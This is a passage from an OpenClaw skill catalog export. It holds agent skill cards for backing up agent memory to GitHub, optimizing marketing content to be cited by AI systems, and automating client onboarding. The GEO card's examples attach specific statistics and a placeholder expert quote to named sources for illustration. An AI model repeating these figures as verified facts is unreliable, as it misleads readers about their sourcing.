Restore from remote | [View](https://github.com/arakichanxd/Claw-Sync/blob/main/scripts/pull.js) |\n| `scripts/status.js` | Show status | [View](https://github.com/arakichanxd/Claw-Sync/blob/main/scripts/status.js) |\n| `scripts/setup-cron.js` | Auto-sync setup | [View](https://github.com/arakichanxd/Claw-Sync/blob/main/scripts/setup-cron.js) |\n\n---\n\n## Installation\n\n### Step 1: Clone the skill\n```bash\ncd ~/.openclaw/workspace/skills\ngit clone https://github.com/arakichanxd/Claw-Sync.git claw-sync\n```\n\n### Step 2: Create a GitHub repository\n1. Go to https://github.com/new\n2. Create a **private** repository (e.g., `my-openclaw-sync`)\n3. Leave it empty (no README)\n\n### Step 3: Create a GitHub token\n1. Go to https://github.com/settings/tokens?type=beta\n2. Click \"Generate new token\"\n3. Name: `openclaw-sync`\n4. Repository access: Select your sync repository\n5. Permissions: Contents \u2192 Read and Write\n6. Generate and copy the token\n\n### Step 4: Configure the skill\nCreate file `~/.openclaw/.backup.env`:\n```\nBACKUP_REPO=https://github.com/YOUR_USERNAME/YOUR_REPO\nBACKUP_TOKEN=ghp_YOUR_TOKEN_HERE\n```\n\n### Step 5: Test the setup\n```bash\n/sync-status\n```\n\nIf configured correctly, you'll see \u2705 Configured.\n\n### Step 6: First sync\n```bash\n/sync\n```\n\n---\n\n## Commands\n\n### /sync\nPush memory and skills to remote.\n```\n/sync \u2192 Create versioned snapshot\n/sync --dry-run \u2192 Preview what would sync (no changes)\n```\n\n### /restore\nRestore from remote.\n```\n/restore \u2192 Restore latest\n/restore latest \u2192 Same as above\n/restore backup-20260202-1430 \u2192 Restore specific version\n/restore --force \u2192 Skip confirmation\n```\n\n### /sync-status\nShow configuration and local snapshots.\n\n### /sync-list\nList all available versions to restore.\n\n---\n\n## What Gets Synced\n\n| File | Description |\n|------|-------------|\n| `MEMORY.md` | Long-term memory |\n| `USER.md` | User profile |\n| `SOUL.md` | Agent persona |\n| `IDENTITY.md` | Agent identity |\n| `TOOLS.md` | Tool configs |\n| `AGENTS.md` | Workspace rules |\n| `memory/*.md` | Daily logs |\n| `skills/*` | Custom skills |\n\n## NOT Synced (security)\n\n- `openclaw.json` - Contains API keys\n- `.env` - Contains secrets\n\n---\n\n## Troubleshooting\n\n### \"Sync not configured\"\nCreate `~/.openclaw/.backup.env` with BACKUP_REPO and BACKUP_TOKEN.\n\n### \"Invalid repository URL\"\nURL must be HTTPS and from github.com, gitlab.com, or bitbucket.org.\n\n### \"Token appears too short\"\nToken must be at least 20 characters. Get a new one from GitHub.\n\n### Clone failed\nCheck that your token has Contents read/write permission.\n\n---\n\n## Disaster Recovery\n\nBefore every restore, a local backup is automatically saved to:\n```\n~/.openclaw/.local-backup/<timestamp>/\n```\n\nIf something goes wrong, manually copy files from there.\n\n---\n\n## Auto-Sync Setup\n\nTo sync automatically every 12 hours:\n```bash\nnode skills/claw-sync/index.js setup\n```\n\n---\n\n## Features\n\n- \ud83c\udff7\ufe0f **Versioned** - Each sync creates a restorable version (git tag)\n- \ud83d\udcbe **Disaster Recovery** - Local backup before every restore\n- \ud83d\udd12 **Secure** - No config files synced, token sanitization\n- \ud83d\udda5\ufe0f **Cross-platform** - Windows, Mac, Linux\n\n---\n\n## Source Code\n\nFull source: https://github.com/arakichanxd/Claw-Sync\n", "inputs_schema": {"type": "object", "properties": {}}, "outputs_schema": {"type": "object", "properties": {}}, "bindings": [{"type": "external", "url": "https://github.com/openclaw/skills/blob/main/skills/arakichanxd/claw-sync/claw-sync/SKILL.md"}, {"type": "external", "url": "https://raw.githubusercontent.com/openclaw/skills/main/skills/arakichanxd/claw-sync/claw-sync/SKILL.md"}, {"type": "openclaw_skill_md", "source": "github", "path": "skills/arakichanxd/claw-sync/claw-sync/SKILL.md", "repo": {"owner": "openclaw", "repo": "skills", "ref": "main", "path": "skills/arakichanxd/claw-sync/claw-sync/SKILL.md", "commit": "dff1d5eb06"}}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": [], "examples": [], "eval_packs": [], "provenance": {"publisher": "apeclaw-importer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/blob/main/skills/arakichanxd/claw-sync/claw-sync/SKILL.md", "importedAt": "2026-02-18T19:26:30.761Z"}}}}, {"slug": "clawhub-geo-content-optimizer", "name": "GEO Content Optimizer", "category": "Analytics", "description": "SEO & GEO Skills Library \u00b7 20 skills for SEO + GEO \u00b7 Install all: npx skills add aaron-he-zhu/seo-geo-claude-skills", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, "card": {"name": "GEO Content Optimizer", "slug": "clawhub-geo-content-optimizer", "version": "1.0.0", "description": "--- name: geo-content-optimizer description: 'Use when the user asks to \"optimize for AI\", \"get cited by ChatGPT\", \"AI optimization\", \"appear in AI answers\", \"GEO optimization\", \"get cited by AI\", \"show up in ChatGPT answers\", \"AI does not mention my brand\", or \"make content AI-quotable\". Optimizes content for Generative Engine Optimization (GEO) to increase chances of being cited by AI systems like ChatGPT, Claude, Perplexity, and Google AI Overviews. Makes content AI-friendly while maintaining SEO value. For SEO-focused writing, see seo-content-writer. For entity and brand presence, see entity-optimizer.' license: Apache-2.0 metadata: author: aaron-he-zhu version: \"2.0.0\" geo-relevance: \"high\" tags: - geo - ai optimization - ai citations - chatgpt - perplexity - google ai overviews - generative engine optimization - llm optimization triggers: - \"optimize for AI\" - \"get cited by ChatGPT\" - \"AI optimization\" - \"appear in AI answers\" - \"GEO optimization\" - \"AI-friendly content\" - \"LLM citations\" - \"get cited by AI\" - \"show up in ChatGPT answers\" - \"AI doesn't mention my brand\" - \"make content AI-quotable\" ---", "documentation_md": "---\nname: geo-content-optimizer\ndescription: 'Use when the user asks to \"optimize for AI\", \"get cited by ChatGPT\", \"AI optimization\", \"appear in AI answers\", \"GEO optimization\", \"get cited by AI\", \"show up in ChatGPT answers\", \"AI does not mention my brand\", or \"make content AI-quotable\". Optimizes content for Generative Engine Optimization (GEO) to increase chances of being cited by AI systems like ChatGPT, Claude, Perplexity, and Google AI Overviews. Makes content AI-friendly while maintaining SEO value. For SEO-focused writing, see seo-content-writer. For entity and brand presence, see entity-optimizer.'\nlicense: Apache-2.0\nmetadata:\n author: aaron-he-zhu\n version: \"2.0.0\"\n geo-relevance: \"high\"\n tags:\n - geo\n - ai optimization\n - ai citations\n - chatgpt\n - perplexity\n - google ai overviews\n - generative engine optimization\n - llm optimization\n triggers:\n - \"optimize for AI\"\n - \"get cited by ChatGPT\"\n - \"AI optimization\"\n - \"appear in AI answers\"\n - \"GEO optimization\"\n - \"AI-friendly content\"\n - \"LLM citations\"\n - \"get cited by AI\"\n - \"show up in ChatGPT answers\"\n - \"AI doesn't mention my brand\"\n - \"make content AI-quotable\"\n---\n\n# GEO Content Optimizer\n\n\n> **[SEO & GEO Skills Library](https://skills.sh/aaron-he-zhu/seo-geo-claude-skills)** \u00b7 20 skills for SEO + GEO \u00b7 Install all: `npx skills add aaron-he-zhu/seo-geo-claude-skills`\n\n<details>\n<summary>Browse all 20 skills</summary>\n\n**Research** \u00b7 [keyword-research](../../research/keyword-research/) \u00b7 [competitor-analysis](../../research/competitor-analysis/) \u00b7 [serp-analysis](../../research/serp-analysis/) \u00b7 [content-gap-analysis](../../research/content-gap-analysis/)\n\n**Build** \u00b7 [seo-content-writer](../seo-content-writer/) \u00b7 **geo-content-optimizer** \u00b7 [meta-tags-optimizer](../meta-tags-optimizer/) \u00b7 [schema-markup-generator](../schema-markup-generator/)\n\n**Optimize** \u00b7 [on-page-seo-auditor](../../optimize/on-page-seo-auditor/) \u00b7 [technical-seo-checker](../../optimize/technical-seo-checker/) \u00b7 [internal-linking-optimizer](../../optimize/internal-linking-optimizer/) \u00b7 [content-refresher](../../optimize/content-refresher/)\n\n**Monitor** \u00b7 [rank-tracker](../../monitor/rank-tracker/) \u00b7 [backlink-analyzer](../../monitor/backlink-analyzer/) \u00b7 [performance-reporter](../../monitor/performance-reporter/) \u00b7 [alert-manager](../../monitor/alert-manager/)\n\n**Cross-cutting** \u00b7 [content-quality-auditor](../../cross-cutting/content-quality-auditor/) \u00b7 [domain-authority-auditor](../../cross-cutting/domain-authority-auditor/) \u00b7 [entity-optimizer](../../cross-cutting/entity-optimizer/) \u00b7 [memory-management](../../cross-cutting/memory-management/)\n\n</details>\n\nThis skill optimizes content to appear in AI-generated responses. As AI systems increasingly answer user queries directly, getting cited by these systems becomes crucial for visibility.\n\n## When to Use This Skill\n\n- Optimizing existing content for AI citations\n- Creating new content designed for both SEO and GEO\n- Improving chances of appearing in AI Overviews\n- Making content more quotable by AI systems\n- Adding authority signals that AI systems trust\n- Structuring content for AI comprehension\n- Competing for visibility in the AI-first search era\n\n## What This Skill Does\n\n1. **Citation Optimization**: Makes content more likely to be quoted by AI\n2. **Structure Enhancement**: Formats content for AI comprehension\n3. **Authority Building**: Adds signals that AI systems trust\n4. **Factual Enhancement**: Improves accuracy and verifiability\n5. **Quote Creation**: Creates memorable, citeable statements\n6. **Source Attribution**: Adds proper citations that AI can verify\n7. **GEO Scoring**: Evaluates content's AI-friendliness\n\n## How to Use\n\n### Optimize Existing Content\n\n```\nOptimize this content for GEO/AI citations: [content or URL]\n```\n\n```\nMake this article more likely to be cited by AI systems\n```\n\n### Create GEO-Optimized Content\n\n```\nWrite content about [topic] optimized for both SEO and GEO\n```\n\n### GEO Audit\n\n```\nAudit this content for GEO readiness and suggest improvements\n```\n\n## Data Sources\n\n> See [CONNECTORS.md](../../CONNECTORS.md) for tool category placeholders.\n\n**With ~~AI monitor + ~~SEO tool connected:**\nAutomatically pull AI citation patterns (which content is being cited by ChatGPT, Claude, Perplexity), current AI visibility scores, competitor citation frequency, and AI Overview appearance tracking.\n\n**With manual data only:**\nAsk the user to provide:\n1. Target queries where they want AI citations\n2. Current content URL or full content text\n3. Any known instances where competitors are being cited by AI\n\nProceed with the full workflow using provided data. Note in the output which metrics are from automated collection vs. user-provided data.\n\n## Instructions\n\nWhen a user requests GEO optimization:\n\n1. **Load CORE-EEAT GEO-First Optimization Targets**\n\n Before optimizing, load GEO-critical items from the [CORE-EEAT Benchmark](../../references/core-eeat-benchmark.md):\n\n ```markdown\n ### CORE-EEAT GEO-First Targets\n\n These items have the highest impact on AI engine citation. Use as optimization checklist:\n\n **Top 6 Priority Items**:\n | Rank | ID | Standard | Why It Matters |\n |------|----|----------|---------------|\n | 1 | C02 | Direct Answer in first 150 words | All engines extract from first paragraph |\n | 2 | C09 | Structured FAQ with Schema | Directly matches AI follow-up queries |\n | 3 | O03 | Data in tables, not prose | Most extractable structured format |\n | 4 | O05 | JSON-LD Schema Markup | Helps AI understand content type |\n | 5 | E01 | Original first-party data | AI prefers exclusive, verifiable sources |\n | 6 | O02 | Key Takeaways / Summary Box | First choice for AI summary citations |\n\n **All GEO-First Items** (optimize for all when possible):\n C02, C04, C05, C07, C08, C09 | O02, O03, O04, O05, O06, O09\n R01, R02, R03, R04, R05, R07, R09 | E01, E02, E03, E04, E06, E08, E09, E10\n Exp10 | Ept05, Ept08 | A08\n\n **AI Engine Preferences**:\n | Engine | Priority Items |\n |--------|----------------|\n | Google AI Overview | C02, O03, O05, C09 |\n | ChatGPT Browse | C02, R01, R02, E01 |\n | Perplexity AI | E01, R03, R05, Ept05 |\n | Claude | R04, Ept08, Exp10, R03 |\n\n _Full benchmark: [references/core-eeat-benchmark.md](../../references/core-eeat-benchmark.md)_\n ```\n\n2. **Understand GEO Fundamentals**\n\n ```markdown\n ### How AI Systems Select Content to Cite\n \n AI systems prioritize content that is:\n \n **Authoritative**\n - From recognized experts or trusted sources\n - Contains proper citations and references\n - Shows expertise signals (author credentials, original research)\n \n **Accurate**\n - Factually correct and verifiable\n - Up-to-date information\n - Consistent with consensus knowledge\n \n **Clear**\n - Well-structured and organized\n - Contains clear definitions and explanations\n - Uses unambiguous language\n \n **Quotable**\n - Has standalone statements that answer questions\n - Contains specific facts, statistics, and data\n - Includes memorable, concise explanations\n ```\n\n3. **Analyze Current Content**\n\n ```markdown\n ## GEO Analysis: [Content Title]\n \n ### Current State Assessment\n \n | GEO Factor | Current Score (1-10) | Notes |\n |------------|---------------------|-------|\n | Clear definitions | [X] | [notes] |\n | Quotable statements | [X] | [notes] |\n | Factual density | [X] | [notes] |\n | Source citations | [X] | [notes] |\n | Q&A format | [X] | [notes] |\n | Authority signals | [X] | [notes] |\n | Content freshness | [X] | [notes] |\n | Structure clarity | [X] | [notes] |\n | **GEO Readiness** | **[avg]/10** | **Average across factors** |\n \n **Primary Weaknesses**:\n 1. [Weakness 1]\n 2. [Weakness 2]\n 3. [Weakness 3]\n \n **Quick Wins**:\n 1. [Quick improvement 1]\n 2. [Quick improvement 2]\n ```\n\n4. **Optimize for Clear Definitions**\n\n AI systems love clear, quotable definitions.\n\n ```markdown\n ### Definition Optimization\n \n **Before** (Weak for GEO):\n > SEO is really important for businesses and involves various \n > techniques to improve visibility online through search engines.\n \n **After** (Strong for GEO):\n > **Search Engine Optimization (SEO)** is the practice of optimizing \n > websites and content to rank higher in search engine results pages \n > (SERPs), increasing organic traffic and visibility.\n \n **Definition Template**:\n \"[Term] is [clear category/classification] that [primary function/purpose], \n [key characteristic or benefit].\"\n \n **Checklist for GEO-Optimized Definitions**:\n - [ ] Starts with the term being defined\n - [ ] Provides clear category (what type of thing it is)\n - [ ] Explains primary function or purpose\n - [ ] Uses precise, unambiguous language\n - [ ] Can stand alone as a complete answer\n - [ ] Is 25-50 words for optimal citation length\n ```\n\n5. **Create Quotable Statements**\n\n ```markdown\n ### Quotable Statement Optimization\n \n AI systems cite specific, standalone statements. Transform vague \n content into quotable facts.\n \n **Weak (Not quotable)**:\n > Email marketing is pretty effective and lots of companies use it.\n \n **Strong (Quotable)**:\n > Email marketing delivers an average ROI of $42 for every $1 spent, \n > making it one of the highest-performing digital marketing channels.\n \n **Types of Quotable Statements**:\n \n 1. **Statistics**\n - Include specific numbers\n - Cite the source\n - Add context (timeframe, comparison)\n \n Example: \"According to [Source], [specific statistic] as of [date].\"\n \n 2. **Facts**\n - Verifiable information\n - Unambiguous language\n - Authoritative source\n \n Example: \"[Subject] was [fact], according to [authoritative source].\"\n \n 3. **Definitions** (covered above)\n \n 4. **Comparisons**\n - Clear comparison structure\n - Specific differentiators\n \n Example: \"Unlike [A], [B] [specific difference], which means [implication].\"\n \n 5. **How-to Steps**\n - Numbered, clear steps\n - Action-oriented language\n \n Example: \"To [achieve goal], [step 1], then [step 2], and finally [step 3].\"\n ```\n\n6. **Add Authority Signals**\n\n ```markdown\n ### Authority Signal Enhancement\n \n **Expert Attribution**\n \n Add expert quotes and credentials:\n \n > \"AI will transform how we search for information,\" says Dr. Jane Smith, \n > AI Research Director at Stanford University.\n \n **Source Citations**\n \n Properly cite sources that AI can verify:\n \n Before:\n > Studies show that most people prefer video content.\n \n After:\n > According to Wyzowl's 2024 Video Marketing Statistics report, \n > 91% of consumers want to see more online video content from brands.\n \n **Authority Elements to Add**:\n - [ ] Author byline with credentials\n - [ ] Expert quotes with attribution\n - [ ] Citations to peer-reviewed research\n - [ ] References to recognized authorities\n - [ ] Original data or research\n - [ ] Case studies with named companies\n - [ ] Industry statistics with sources\n ```\n\n7. **Optimize Content Structure**\n\n ```markdown\n ### Structure Optimization for GEO\n \n AI systems parse structured content more effectively.\n \n **Q&A Format**\n \n Transform content into question-answer pairs:\n \n ```html\n <h2>What is [Topic]?</h2>\n <p>[Direct answer in 40-60 words]</p>\n \n <h2>How does [Topic] work?</h2>\n <p>[Clear explanation with steps if applicable]</p>\n \n <h2>Why is [Topic] important?</h2>\n <p>[Specific reasons with evidence]</p>\n ```\n \n **Comparison Tables**\n \n For comparison queries, use clear tables:\n \n | Feature | Option A | Option B |\n |---------|----------|----------|\n | [Feature 1] | [Specific value] | [Specific value] |\n | [Feature 2] | [Specific value] | [Specific value] |\n | **Best for** | [Use case] | [Use case] |\n \n **Numbered Lists**\n \n For process or list queries:\n \n 1. **Step 1: [Action]** - [Brief explanation]\n 2. **Step 2: [Action]** - [Brief explanation]\n 3. **Step 3: [Action]** - [Brief explanation]\n \n **Definition Boxes**\n \n Highlight key definitions:\n \n > **Key Definition**: [Term] refers to [clear definition].\n ```\n\n8. **Enhance Factual Density**\n\n ```markdown\n ### Factual Density Improvement\n \n AI systems prefer fact-rich content over opinion-heavy content.\n \n **Content Transformation**:\n \n **Low factual density**:\n > Social media marketing is very popular nowadays. Many businesses \n > use it and find it helpful for reaching customers.\n \n **High factual density**:\n > Social media marketing reaches 4.9 billion users globally (Statista, 2024). \n > Businesses using social media marketing report 66% higher lead generation \n > rates compared to non-users (HubSpot State of Marketing Report, 2024). \n > The most effective platforms for B2B marketing are LinkedIn (96% usage), \n > Twitter (82%), and Facebook (80%).\n \n **Factual Enhancement Checklist**:\n - [ ] Add specific statistics with sources\n - [ ] Include exact dates, numbers, percentages\n - [ ] Replace vague claims with verified facts\n - [ ] Add recent data (within last 2 years)\n - [ ] Include multiple data points per section\n - [ ] Cross-reference with authoritative sources\n ```\n\n9. **Implement FAQ Schema**\n\n ```markdown\n ### FAQ Optimization for GEO\n \n FAQ sections are highly effective for GEO because:\n - They match question-based AI queries\n - They provide concise, structured answers\n - FAQ schema helps AI understand Q&A pairs\n \n **FAQ Structure**:\n \n ## Frequently Asked Questions\n \n ### [Question matching common query]?\n \n [Direct answer: 40-60 words]\n [Supporting detail or example]\n \n ### [Question matching common query]?\n \n [Direct answer: 40-60 words]\n [Supporting detail or example]\n \n **FAQ Schema (JSON-LD)**:\n \n ```json\n {\n \"@context\": \"https://schema.org\",\n \"@type\": \"FAQPage\",\n \"mainEntity\": [{\n \"@type\": \"Question\",\n \"name\": \"[Question text]\",\n \"acceptedAnswer\": {\n \"@type\": \"Answer\",\n \"text\": \"[Answer text]\"\n }\n }]\n }\n ```\n ```\n\n10. **Generate GEO-Optimized Output**\n\n ```markdown\n ## GEO Optimization Report\n\n ### Changes Made\n\n **Definitions Added/Improved**:\n 1. [Definition 1] - [location in content]\n 2. [Definition 2] - [location in content]\n\n **Quotable Statements Created**:\n 1. \"[Statement 1]\"\n 2. \"[Statement 2]\"\n\n **Authority Signals Added**:\n 1. [Expert quote/citation]\n 2. [Source attribution]\n\n **Structural Improvements**:\n 1. [Change 1]\n 2. [Change 2]\n\n ### Before/After GEO Score\n\n | GEO Factor | Before (1-10) | After (1-10) | Change |\n |------------|---------------|--------------|--------|\n | Clear definitions | [X] | [X] | +[X] |\n | Quotable statements | [X] | [X] | +[X] |\n | Factual density | [X] | [X] | +[X] |\n | Source citations | [X] | [X] | +[X] |\n | Q&A format | [X] | [X] | +[X] |\n | Authority signals | [X] | [X] | +[X] |\n | **Overall GEO Score** | **[avg]/10** | **[avg]/10** | **+[X]** |\n\n ### AI Query Coverage\n\n This content is now optimized to answer:\n - \"What is [topic]?\" \u2705\n - \"How does [topic] work?\" \u2705\n - \"Why is [topic] important?\" \u2705\n - \"[Topic] vs [alternative]\" \u2705\n - \"Best [topic] for [use case]\" \u2705\n ```\n\n11. **CORE-EEAT GEO Self-Check**\n\n After optimization, verify GEO-First items:\n\n ```markdown\n ### CORE-EEAT GEO Post-Optimization Check\n\n | ID | Standard | Status | Notes |\n |----|----------|--------|-------|\n | C02 | Direct Answer in first 150 words | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | C04 | Key terms defined on first use | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | C09 | Structured FAQ with Schema | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | O02 | Summary Box / Key Takeaways | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | O03 | Comparisons in tables | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | O05 | JSON-LD Schema Markup | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | O06 | Section chunking (3\u20135 sentences) | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | R01 | \u22655 precise data points with units | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | R02 | \u22651 citation per 500 words | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | R04 | Claims backed by evidence | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | R07 | Full entity names | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | E01 | Original first-party data | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | Exp10 | Limitations acknowledged | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | Ept08 | Reasoning transparency | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n\n **Items Needing Attention**: [list any \u26a0\ufe0f/\u274c items]\n\n _For full 80-item audit, use [content-quality-auditor](../../cross-cutting/content-quality-auditor/)_\n ```\n\n## Validation Checkpoints\n\n### Input Validation\n- [ ] Content source identified (URL, full text, or content draft)\n- [ ] Target AI queries or topics clearly defined\n- [ ] Current GEO baseline assessed (if optimizing existing content)\n\n### Output Validation\n- [ ] At least 3 clear, quotable definitions added\n- [ ] Factual density improved with at least 5 verifiable statistics\n- [ ] All claims have source citations from authoritative sources\n- [ ] Q&A format sections cover top 5 user queries\n- [ ] GEO score improvement of at least 50% from baseline\n- [ ] Source of each data point clearly stated (~~AI monitor data, user-provided, or estimated)\n\n## Example\n\n**User**: \"Optimize this paragraph for GEO: 'Email marketing is a good way to reach customers. It's been around for a while and many businesses use it. You can send newsletters, promotions, and other messages.'\"\n\n**Output**:\n\n```markdown\n## GEO-Optimized Version\n\n**Email marketing** is a digital marketing strategy that uses email to promote \nproducts, build customer relationships, and drive conversions. According to \nthe Data & Marketing Association, email marketing delivers an average ROI \nof $42 for every $1 invested, making it the highest-performing digital \nmarketing channel.\n\n### Key email marketing formats include:\n\n1. **Newsletters**: Regular updates sharing company news, industry insights, \n and valuable content to maintain subscriber engagement\n2. **Promotional emails**: Time-sensitive offers, discounts, and product \n announcements designed to drive immediate sales\n3. **Transactional emails**: Order confirmations, shipping updates, and \n account notifications with 8x higher open rates than marketing emails\n4. **Automated sequences**: Pre-scheduled email series triggered by user \n actions, such as welcome series or abandoned cart reminders\n\n> **Key statistic**: 81% of small businesses rely on email as their primary \n> customer acquisition channel (Emarsys, 2024).\n\n---\n\n### Changes Made:\n\n| Element | Before | After |\n|---------|--------|-------|\n| Definition | None | Clear definition with category |\n| Statistics | None | 2 specific stats with sources |\n| Structure | Single paragraph | Structured list with headers |\n| Authority | None | DMA and Emarsys citations |\n| Quotable statements | 0 | 3 standalone facts |\n\n**GEO Score**: Improved from 1/10 to 8/10\n```\n\n## GEO Optimization Checklist\n\nUse this checklist for any content:\n\n```markdown\n### GEO Readiness Checklist\n\n**Definitions & Clarity**\n- [ ] Key terms are clearly defined\n- [ ] Definitions can stand alone as answers\n- [ ] Language is precise and unambiguous\n\n**Quotable Content**\n- [ ] Specific statistics included\n- [ ] Facts have source citations\n- [ ] Memorable statements created\n\n**Authority**\n- [ ] Expert quotes or credentials present\n- [ ] Authoritative sources cited\n- [ ] Original data or research included\n\n**Structure**\n- [ ] Q&A format sections included\n- [ ] Clear headings match common queries\n- [ ] Comparison tables where relevant\n- [ ] Numbered lists for processes\n\n**Technical**\n- [ ] FAQ schema markup added\n- [ ] Content freshness indicated\n- [ ] Sources are verifiable\n```\n\n## Tips for Success\n\n1. **Answer the question first** - Put the answer in the first sentence\n2. **Be specific** - Vague content doesn't get cited\n3. **Cite sources** - AI systems trust verifiable information\n4. **Stay current** - Update statistics and facts regularly\n5. **Match query format** - Questions deserve direct answers\n6. **Build authority** - Expert credentials increase citation likelihood\n\n## Reference Materials\n\n- [AI Citation Patterns](./references/ai-citation-patterns.md) - How Google AI Overviews, ChatGPT, Perplexity, and Claude select and cite sources\n- [Quotable Content Examples](./references/quotable-content-examples.md) - Before/after examples of content optimized for AI citation\n\n## Related Skills\n\n- [seo-content-writer](../seo-content-writer/) \u2014 Create SEO content to optimize\n- [schema-markup-generator](../schema-markup-generator/) \u2014 Add structured data\n- [keyword-research](../../research/keyword-research/) \u2014 Identify keyword targets for GEO optimization\n- [content-refresher](../../optimize/content-refresher/) \u2014 Update content for freshness\n- [serp-analysis](../../research/serp-analysis/) \u2014 Analyze AI Overview patterns\n- [content-quality-auditor](../../cross-cutting/content-quality-auditor/) \u2014 Full 80-item CORE-EEAT audit\n- [domain-authority-auditor](../../cross-cutting/domain-authority-auditor/) \u2014 Domain-level AI citation signals (CITE C05-C08) complement page-level GEO optimization\n\n", "inputs_schema": {"type": "object", "properties": {}}, "outputs_schema": {"type": "object", "properties": {}}, "bindings": [{"type": "external", "url": "https://github.com/openclaw/skills/blob/main/skills/aaron-he-zhu/geo-content-optimizer/SKILL.md"}, {"type": "external", "url": "https://raw.githubusercontent.com/openclaw/skills/main/skills/aaron-he-zhu/geo-content-optimizer/SKILL.md"}, {"type": "openclaw_skill_md", "source": "github", "path": "skills/aaron-he-zhu/geo-content-optimizer/SKILL.md", "repo": {"owner": "openclaw", "repo": "skills", "ref": "main", "path": "skills/aaron-he-zhu/geo-content-optimizer/SKILL.md", "commit": "fe9bc149c1"}}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": [], "examples": [], "eval_packs": [], "provenance": {"publisher": "apeclaw-importer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/blob/main/skills/aaron-he-zhu/geo-content-optimizer/SKILL.md", "importedAt": "2026-02-18T19:24:20.998Z"}}}}, {"slug": "clawhub-client-flow", "name": "Client Flow", "category": "Wallet", "description": "New client? One message, full setup. From folder structure to welcome email to kickoff meeting \u2014 automated in 30 seconds instead of 30 minutes.", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, "card": {"name": "Client Flow", "slug": "clawhub-client-flow", "version": "1.0.0", "description": "--- name: client-flow description: > Automated client onboarding and project lifecycle management. From a single message, creates Google Drive/Dropbox project folder structure, generates project brief, sends templated welcome email, schedules kickoff meeting on Google Calendar, sets up task board in Todoist/ClickUp/Linear/Asana/Notion, configures follow-up reminders, and maintains a master client registry with status tracking. Use this skill for: new client onboarding, project setup, client intake, welcome email, kickoff meeting scheduling, project kickoff, client management, project status dashboard, \"new client [name]\", \"onboard [company]\", \"set up a project for [client]\", \"how are my projects doing\", client portfolio overview, project lifecycle tracking, client communication templates, progress update emails, project closure workflow, freelancer project management, agency client management, or any request involving setting up and tracking client projects. One message replaces 30 minutes of manual setup across email, calendar, file storage, and task management tools. metadata: openclaw: emoji: \"\ud83e\udd1d\" ---", "documentation_md": "---\nname: client-flow\ndescription: >\n Automated client onboarding and project lifecycle management. From a single message, creates Google\n Drive/Dropbox project folder structure, generates project brief, sends templated welcome email,\n schedules kickoff meeting on Google Calendar, sets up task board in Todoist/ClickUp/Linear/Asana/Notion,\n configures follow-up reminders, and maintains a master client registry with status tracking. Use this\n skill for: new client onboarding, project setup, client intake, welcome email, kickoff meeting\n scheduling, project kickoff, client management, project status dashboard, \"new client [name]\",\n \"onboard [company]\", \"set up a project for [client]\", \"how are my projects doing\", client portfolio\n overview, project lifecycle tracking, client communication templates, progress update emails, project\n closure workflow, freelancer project management, agency client management, or any request involving\n setting up and tracking client projects. One message replaces 30 minutes of manual setup across\n email, calendar, file storage, and task management tools.\nmetadata:\n openclaw:\n emoji: \"\ud83e\udd1d\"\n---\n\n# Client Flow\n\nNew client? One message, full setup. From folder structure to welcome email to kickoff meeting \u2014 automated in 30 seconds instead of 30 minutes.\n\n## Why This Exists\n\nClient onboarding is one of the most-reported use cases in the OpenClaw community, yet has zero dedicated skills on ClawHub. Freelancers, agencies, and small businesses repeat the same 8-step process for every new client \u2014 creating folders, sending emails, scheduling calls, setting up tasks. This skill automates the entire flow.\n\n## The Onboarding Flow\n\nTriggered by something like: \"New client: Acme Corp, contact Sarah at sarah@acme.com, project: website redesign, budget: $15k, deadline: March 30\"\n\nThe skill extracts whatever information is provided, asks for anything critical that's missing, then executes the full onboarding sequence:\n\n### Step 1: Create Project Structure\n\nCreate an organized folder hierarchy for the project:\n\n```\n[Client Name]/\n\u251c\u2500\u2500 01-Brief/\n\u2502 \u2514\u2500\u2500 project-brief.md (auto-generated from intake info)\n\u251c\u2500\u2500 02-Contracts/\n\u251c\u2500\u2500 03-Design/\n\u251c\u2500\u2500 04-Development/\n\u251c\u2500\u2500 05-Content/\n\u251c\u2500\u2500 06-Deliverables/\n\u2514\u2500\u2500 07-Communications/\n \u2514\u2500\u2500 meeting-notes/\n```\n\nWhere to create:\n- **Google Drive**: if `gog` tool is available, create in a \"Clients\" folder\n- **Dropbox**: if Dropbox skill is available\n- **Local filesystem**: if running locally, create under a configurable base path (default: `~/Clients/`)\n- **Notion**: if Notion skill is available, create a project page instead of folders\n\n### Step 2: Generate Project Brief\n\nAuto-generate a project brief document from the intake information:\n\n```markdown\n# Project Brief: [Project Name]\n**Client**: [Company Name]\n**Contact**: [Name] ([Email])\n**Start Date**: [Today or specified]\n**Deadline**: [Date]\n**Budget**: [Amount]\n\n## Project Description\n[Generated from user's input \u2014 expand into 2-3 sentences]\n\n## Objectives\n- [Extracted or inferred from project type]\n- [...]\n\n## Deliverables\n- [Inferred from project type \u2014 e.g., \"website redesign\" \u2192 wireframes, mockups, final site]\n- [...]\n\n## Timeline\n- Week 1-2: Discovery & Planning\n- Week 3-4: [Phase based on project type]\n- [...]\n\n## Notes\n[Any additional context from the user's message]\n```\n\nSave this to the project folder.\n\n### Step 3: Send Welcome Email\n\nCompose and send (or draft) a welcome email to the client:\n\n```\nSubject: Welcome to [Your Name/Company] \u2014 [Project Name] Kickoff\n\nHi [Client First Name],\n\nThank you for choosing to work with us on [Project Name]. I'm excited to get started!\n\nHere's what happens next:\n1. I'll send a kickoff meeting invite for [suggested date/time]\n2. Please review and sign the project agreement [if applicable]\n3. We'll begin the discovery phase right away\n\nIf you have any questions before we kick 